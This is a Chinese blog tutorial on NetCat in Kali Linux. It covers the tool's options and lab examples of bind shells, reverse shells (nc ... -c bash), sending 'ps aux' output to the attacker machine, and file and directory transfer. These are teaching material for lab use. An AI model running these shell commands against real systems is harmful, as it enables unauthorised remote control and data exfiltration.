《工具录》NetCat


本文以 kali-linux-2023.3-vmware-amd64 为例。

1:NetCat

NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。

功能描述

  • 网络工具中的瑞士军刀
  • 侦听模式 / 传输模式
  • 传输文本信息
  • 传输文件/目录
  • 远程控制/木马
  • 流媒体服务器
  • 远程克隆硬盘

nc 缺乏加密和身份验证的能力。

不同系统或平台的 NetCat 命令不尽相同。

基本语法
nc [选项]

2:选项介绍

选项总览

┌──(root㉿kali)-[~]
└─# nc -h                  
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

部分选项

参数说明
-q程序会从标准输入(stdin)中读取,一旦读取到输入流的末尾(EOF),它会等待一段指定的时间(secs)后退出。

3:示例

3.1:正向连接(被动连接)

示例 3.1-1:正向连接,仅限于文本消息传输,无法使用命令。Server 开启端口后被 kali 连接。

# 1、Server(192.168.8.133):
nc -lnv -p 6666

# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666

示例 3.1-2:正向连接,可使用命令行。Server 开放自己的 bash shell,被 kali 连接。

# 1、Server(192.168.8.133):
nc -lnv -p 6666 -c bash

# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666

如果是 Windows 下 bash 换成 cmd。

3.2:反向连接(主动连接)

示例 3.2-1:反向连接,可使用命令行。kali 开启端口监听后,Server 主动连接 kali,并开放自己的 bash shell。

# 1、kali(192.168.8.128):
nc -lnvp 6666

# 2、Server(192.168.8.133):
nc 192.168.8.128 6666 -c bash

因为防火墙的存在,通常反向连接(主动连接)比较常用,让目标机主动发送 shell。

3.3:信息收集

示例 3.3-1:使用反向连接,Server 上 ps aux 的结果会被保存到 kali 上的 test.txt。且完成后一秒自动断开连接。

# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/test.txt

# 2、Server(192.168.8.133):
ps aux | nc -nv 192.168.8.128 6666 -q 1

3.4:文件传输

示例3.4.1:使用反向连接,将 Server 上的 2.txt 文件传输到 kali 并被保存为 1.txt。

# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/1.txt

# 2、Server(192.168.8.133):
nc -nv 192.168.8.128 6666 < 2.txt -q 1

示例3.4.2:使用正向连接,将 Server 上的 ./test/ 目录传输到 kali 上。

# 1、Server(192.168.8.133):
tar -cvf - ./test/ | nc -lnvp 6666 -q 1

# 2、kali(192.168.8.128):
nc -nv 192.168.8.132 6666 | tar -xvf - -C /root/Desktop/

4:其他

《netcat 使用教程》
https://blog.csdn.net/qq_46137954/article/details/127478494

《瑞士军刀 Netcat》
https://blog.csdn.net/qq_63844103/article/details/127681824


年年岁岁花相似,岁岁年年人不同。

——《白头吟》(唐)刘希夷

  • 22
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值